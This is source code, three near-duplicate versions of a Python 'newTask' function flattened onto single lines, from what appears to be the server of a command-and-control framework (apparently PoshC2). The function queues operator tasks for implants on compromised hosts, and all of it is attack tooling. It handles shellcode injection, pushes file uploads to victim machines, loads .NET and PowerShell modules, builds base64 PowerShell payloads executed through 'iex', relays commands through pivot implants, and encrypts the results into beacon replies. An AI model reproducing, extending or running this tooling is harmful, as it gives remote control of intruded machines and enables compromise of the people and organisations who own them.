def newTask(path): result = DB.get_implants_all() commands = "" if result: for i in result: RandomURI = i[1] EncKey = i[5] tasks = DB.get_newtasks(RandomURI) if RandomURI in path and tasks: for a in tasks: command = a[2] user = a[3] user_command = command hostinfo = DB.get_hostinfo(RandomURI) implant_type = DB.get_implanttype(RandomURI) now = datetime.datetime.now() if (command.lower().startswith("$shellcode64")) or ( command.lower().startswith("$shellcode86") or command.lower().startswith( "run-exe core.program core inject-shellcode")): user_command = "Inject Shellcode: %s" % command[ command.index("#") + 1:] command = command[:command.index("#")] elif (command.lower().startswith('upload-file')): upload_args = command.replace('upload-file', '') upload_file = upload_args.split()[0] try: upload_file_destination = upload_args.split()[1] except: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) print(Colours.GREEN) upload_args = upload_args.replace(upload_file, '') upload_args = upload_args.replace( upload_file_destination, '') with open(upload_file, "rb") as f: upload_file_bytes = f.read() if not upload_file_bytes: print( Colours.RED + f"Error, no bytes read from the upload file, removing task: {upload_file}" + Colours.GREEN) DB.del_newtasks(str(a[0])) continue upload_file_bytes_b64 = base64.b64encode( upload_file_bytes).decode("utf-8") if implant_type.startswith('C#'): command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}" elif implant_type.startswith('PS'): command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}" elif implant_type.startswith('PY'): command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}" else: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) print(Colours.GREEN) filehash = hashlib.md5( base64.b64decode( upload_file_bytes_b64)).hexdigest() user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}" taskId = DB.insert_task(RandomURI, user_command, user) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) if len(str(taskId)) > 5: raise ValueError( 'Task ID is greater than 5 characters which is not supported.' ) print(Colours.YELLOW) if user is not None and user != "": print( "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, user, hostinfo[0], hostinfo[11], hostinfo[2], hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S"))) else: print( "Task %s issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2], hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S"))) try: print(user_command) print(Colours.END) except Exception as e: print("Cannot print output: %s" % e) if a[2].startswith("loadmodule"): try: module_name = (a[2]).replace("loadmodule ", "") if ".exe" in module_name: modulestr = load_module_sharp(module_name) elif ".dll" in module_name: modulestr = load_module_sharp(module_name) else: modulestr = load_module(module_name) command = "loadmodule%s" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) elif a[2].startswith("run-exe Program PS "): try: cmd = (a[2]).replace("run-exe Program PS ", "") modulestr = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") command = "run-exe Program PS %s" % modulestr except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif a[2].startswith("pslo "): try: module_name = (a[2]).replace("pslo ", "") for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe Program PS loadmodule%s" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif a[2].startswith("pbind-loadmodule"): try: module_name = (a[2]).replace( "pbind-loadmodule ", "") if ".exe" in module_name: modulestr = load_module_sharp(module_name) elif ".dll" in module_name: modulestr = load_module_sharp(module_name) else: modulestr = load_module(module_name) command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode( bytes(modulestr, "utf-8")).decode('utf-8') except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() command = taskIdStr + command if commands: commands += "!d-3dion@LD!-d" + command else: commands += command DB.del_newtasks(str(a[0])) if commands is not None: multicmd = "multicmd%s" % commands try: responseVal = encrypt(EncKey, multicmd) except Exception as e: responseVal = "" print("Error encrypting value: %s" % e) now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) return responseVal elif RandomURI in path and not tasks: # if there is no tasks but its a normal beacon send 200 now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) return default_response()
def newTask(path): all_implants = DB.get_implants_all() commands = "" if all_implants: for i in all_implants: RandomURI = i.RandomURI Pivot = i.Pivot EncKey = i.Key tasks = DB.get_newtasks(RandomURI) if RandomURI in path and tasks: for task in tasks: command = task[2] user = task[3] user_command = command implant = DB.get_implantbyrandomuri(RandomURI) implant_type = DB.get_implanttype(RandomURI) now = datetime.datetime.now() if (command.lower( ).startswith("$shellcode64")) or (command.lower( ).startswith("$shellcode86") or command.lower().startswith( "run-exe core.program core inject-shellcode" ) or command.lower().startswith( "run-exe pbind pbind run-exe core.program core inject-shellcode" ) or command.lower().startswith( "pbind-command run-exe core.program core inject-shellcode" ) or command.lower().startswith( "pbind-pivot-command run-exe core.program core inject-shellcode" )): user_command = "Inject Shellcode: %s" % command[ command.index("#") + 1:] command = command[:command.index("#")] elif " -pycode " in command.lower(): split_command = command.strip().split() args = split_command[3:] module = split_command[0] user_command = module + " " + " ".join(args) elif (command.lower().startswith('upload-file') or command.lower().startswith( 'pbind-command upload-file') or command.lower().startswith( 'fcomm-command upload-file')): PBind = False FComm = False if command.lower().startswith( 'pbind-command upload-file'): PBind = True if command.lower().startswith( 'fcomm-command upload-file'): FComm = True upload_args = command \ .replace('pbind-command upload-file', '') \ .replace('fcomm-command upload-file', '') \ .replace('upload-file', '') upload_file_args_split = upload_args.split() if len(upload_file_args_split) < 2: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) print(Colours.GREEN) continue upload_file = upload_file_args_split[0] upload_file_destination = upload_file_args_split[1] upload_args = upload_args.replace(upload_file, '') upload_args = upload_args.replace( upload_file_destination, '') with open(upload_file, "rb") as f: upload_file_bytes = f.read() if not upload_file_bytes: print( Colours.RED + f"Error, no bytes read from the upload file, removing task: {upload_file}" + Colours.GREEN) DB.del_newtasks(str(task[0])) continue upload_file_bytes_b64 = base64.b64encode( upload_file_bytes).decode("utf-8") if implant_type.lower().startswith('c#'): command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}" elif implant_type.lower().startswith('ps'): command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}" elif implant_type.lower().startswith('py'): command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}" else: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) print(Colours.GREEN) if PBind: command = f"pbind-command {command}" if FComm: command = f"fcomm-command {command}" filehash = hashlib.md5( base64.b64decode( upload_file_bytes_b64)).hexdigest() user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}" taskId = DB.insert_task(RandomURI, user_command, user) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) if len(str(taskId)) > 5: raise ValueError( 'Task ID is greater than 5 characters which is not supported.' ) print(Colours.YELLOW) if user is not None and user != "": print( "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, user, implant.ImplantID, implant.Domain, implant.User, implant.Hostname, now.strftime("%Y-%m-%d %H:%M:%S"))) else: print( "Task %s issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implant.ImplantID, implant.Domain, implant.User, implant.Hostname, now.strftime("%Y-%m-%d %H:%M:%S"))) try: if (user_command.lower().startswith( "run-exe sharpwmi.program sharpwmi action=execute" ) or user_command.lower().startswith( "pbind-command run-exe sharpwmi.program sharpwmi action=execute" ) or user_command.lower().startswith( "fcomm-command run-exe sharpwmi.program sharpwmi action=execute" )): print(user_command[0:200]) print("----TRUNCATED----") else: print(user_command) print(Colours.END) except Exception as e: print("Cannot print output: %s" % e) if task[2].startswith("loadmodule "): try: module_name = (task[2]).replace("loadmodule ", "") if ".exe" in module_name: modulestr = load_module_sharp(module_name) elif ".dll" in module_name: modulestr = load_module_sharp(module_name) else: modulestr = load_module(module_name) command = "loadmodule%s" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) command = "" elif task[2].startswith("run-exe Program PS "): try: cmd = (task[2]).replace("run-exe Program PS ", "") modulestr = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") command = "run-exe Program PS %s" % modulestr except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith( "pbind-pivot-command run-exe Program PS "): try: cmd = (task[2]).replace( "pbind-pivot-command run-exe Program PS ", "") base64string = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") modulestr = base64.b64encode( f"run-exe Program PS {base64string}".encode( "utf-8")).decode("utf-8") doublebase64string = base64.b64encode( f"run-exe PBind PBind {modulestr}".encode( "utf-8")).decode("utf-8") command = "run-exe PBind PBind %s" % doublebase64string except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith( "pbind-command run-exe Program PS "): try: cmd = (task[2]).replace( "pbind-command run-exe Program PS ", "") base64string = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") modulestr = base64.b64encode( f"run-exe Program PS {base64string}".encode( "utf-8")).decode("utf-8") command = "run-exe PBind PBind %s" % modulestr except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith( "fcomm-command run-exe Program PS "): try: cmd = (task[2]).replace( "fcomm-command run-exe Program PS ", "") modulestr = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") command = "run-exe FComm.FCClass FComm run-exe Program PS %s" % modulestr except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith("pslo "): try: module_name = (task[2]).replace("pslo ", "") for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe Program PS loadmodule%s" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("pbind-pslo"): try: module_name = (task[2]).replace("pbind-pslo ", "") for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe PBind PBind \"run-exe Program PS loadmodule%s\"" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("pbind-pivot-loadmodule "): try: module_name = (task[2]).replace( "pbind-pivot-loadmodule ", "") if ".exe" in module_name or ".dll" in module_name: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) base64string = base64.b64encode( f"run-exe PBind PBind \"loadmodule{modulestr}\"" .encode("utf-8")).decode("utf-8") command = f"run-exe PBind PBind {base64string}" except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("fcomm-pslo"): try: module_name = (task[2]).replace("fcomm-pslo ", "") for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe FComm.FCClass FComm \"run-exe Program PS loadmodule%s\"" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("pbind-loadmodule "): try: module_name = (task[2]).replace( "pbind-loadmodule ", "") if ".exe" in module_name: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr elif ".dll" in module_name: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr else: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module(module_name) command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode( bytes(modulestr, "utf-8")).decode('utf-8') except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("pbind-command "): try: cmd = command.replace("pbind-command ", "") base64string = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") command = "run-exe PBind PBind %s" % base64string except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith("pbind-connect"): command = command.replace( "pbind-connect ", "run-exe PBind PBind start ") elif task[2].startswith("pbind-kill"): command = command.replace( "pbind-kill", "run-exe PBind PBind kill-implant") elif task[2].startswith("fcomm-loadmodule "): try: module_name = (task[2]).replace( "fcomm-loadmodule ", "") if ".exe" in module_name: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr elif ".dll" in module_name: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module_sharp(module_name) command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr else: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname modulestr = load_module(module_name) command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode( bytes(modulestr, "utf-8")).decode('utf-8') except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() elif task[2].startswith("fcomm-command "): command = command.replace( "fcomm-command ", "run-exe FComm.FCClass FComm ") elif task[2].startswith("fcomm-connect"): command = command.replace( "fcomm-connect ", "run-exe FComm.FCClass FComm start ") elif task[2].startswith("fcomm-kill"): command = command.replace( "fcomm-kill", "run-exe FComm.FCClass FComm kill-implant") elif task[2].startswith("pbind-pivot-command "): try: cmd = command.replace("pbind-pivot-command ", "") base64string1 = base64.b64encode( cmd.encode("utf-8")).decode("utf-8") base64string = base64.b64encode( f"run-exe PBind PBind {base64string1}".encode( "utf-8")).decode("utf-8") command = "run-exe PBind PBind %s" % base64string except Exception as e: print("Cannot base64 the command for PS") print(e) traceback.print_exc() elif task[2].startswith("pbind-pivot-connect"): command = command.replace( "pbind-pivot-connect ", "run-exe PBind PBind run-exe PBind PBind start ") elif task[2].startswith("pbind-pivot-kill"): command = command.replace( "pbind-pivot-kill", "run-exe PBind PBind run-exe PBind PBind kill-implant" ) # Uncomment to print actual commands that are being sent # if "AAAAAAAAAAAAAAAAAAAA" not in command: # print(Colours.BLUE + "Issuing Command: " + command + Colours.GREEN) command = taskIdStr + command if commands: commands += "!d-3dion@LD!-d" + command else: commands += command DB.del_newtasks(str(task[0])) if commands is not None: multicmd = "multicmd%s" % commands try: responseVal = encrypt(EncKey, multicmd) except Exception as e: responseVal = "" print("Error encrypting value: %s" % e) now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI) return responseVal elif RandomURI in path and not tasks: # if there is no tasks but its a normal beacon send 200 now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI) return default_response()
def newTask(path): result = DB.get_implants_all() commands = "" if result: for i in result: RandomURI = i[1] EncKey = i[5] tasks = DB.get_newtasks(RandomURI) if RandomURI in path and tasks: for a in tasks: command = a[2] user = a[3] user_command = command hostinfo = DB.get_hostinfo(RandomURI) now = datetime.datetime.now() if (command.lower().startswith("$shellcode64")) or ( command.lower().startswith("$shellcode86") or command.lower().startswith( "run-exe core.program core inject-shellcode")): user_command = "Inject Shellcode: %s" % command[ command.index("#") + 1:] command = command[:command.index("#")] elif (command.lower().startswith('upload-file')): upload_args = command.replace('upload-file', '') if ";" in upload_args: # This is a SharpHandler filename = upload_args.split(";")[1].replace( '"', '').strip() file_b64 = upload_args.split(";")[0].replace( '"', '').strip() elif "estination" in upload_args: # This is a PSHandler split_args = upload_args.split(" ") filename = split_args[ split_args.index("-Destination") + 1] file_b64 = split_args[split_args.index("-Base64") + 1] print(file_b64) elif ":" in upload_args: # This is a PyHandler filename = upload_args.split(":")[0].replace( '"', '').strip() file_b64 = upload_args.split(":")[1].replace( '"', '').strip() else: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) print(Colours.GREEN) filehash = hashlib.md5( base64.b64decode(file_b64)).hexdigest() user_command = "Uploading file: %s with md5sum: %s" % ( filename, filehash) taskId = DB.insert_task(RandomURI, user_command, user) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) if len(str(taskId)) > 5: raise ValueError( 'Task ID is greater than 5 characters which is not supported.' ) print(Colours.YELLOW) if user is not None and user != "": print( "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, user, hostinfo[0], hostinfo[11], hostinfo[2], hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S"))) else: print( "Task %s issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2], hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S"))) try: print(user_command) print(Colours.END) except Exception as e: print("Cannot print output: %s" % e) if a[2].startswith("loadmodule"): try: module_name = (a[2]).replace("loadmodule ", "") if ".exe" in module_name: modulestr = load_module_sharp(module_name) elif ".dll" in module_name: modulestr = load_module_sharp(module_name) else: modulestr = load_module(module_name) command = "loadmodule%s" % modulestr except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) if a[2].startswith("pbind-loadmodule"): try: module_name = (a[2]).replace( "pbind-loadmodule ", "") if ".exe" in module_name: modulestr = load_module_sharp(module_name) elif ".dll" in module_name: modulestr = load_module_sharp(module_name) else: modulestr = load_module(module_name) command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode( bytes(modulestr, "utf-8")).decode('utf-8') except Exception as e: print( "Cannot find module, loadmodule is case sensitive!" ) print(e) traceback.print_exc() command = taskIdStr + command if commands: commands += "!d-3dion@LD!-d" + command else: commands += command DB.del_newtasks(str(a[0])) if commands is not None: multicmd = "multicmd%s" % commands try: responseVal = encrypt(EncKey, multicmd) except Exception as e: responseVal = "" print("Error encrypting value: %s" % e) now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) return responseVal elif RandomURI in path and not tasks: # if there is no tasks but its a normal beacon send 200 now = datetime.datetime.now() DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) return default_response()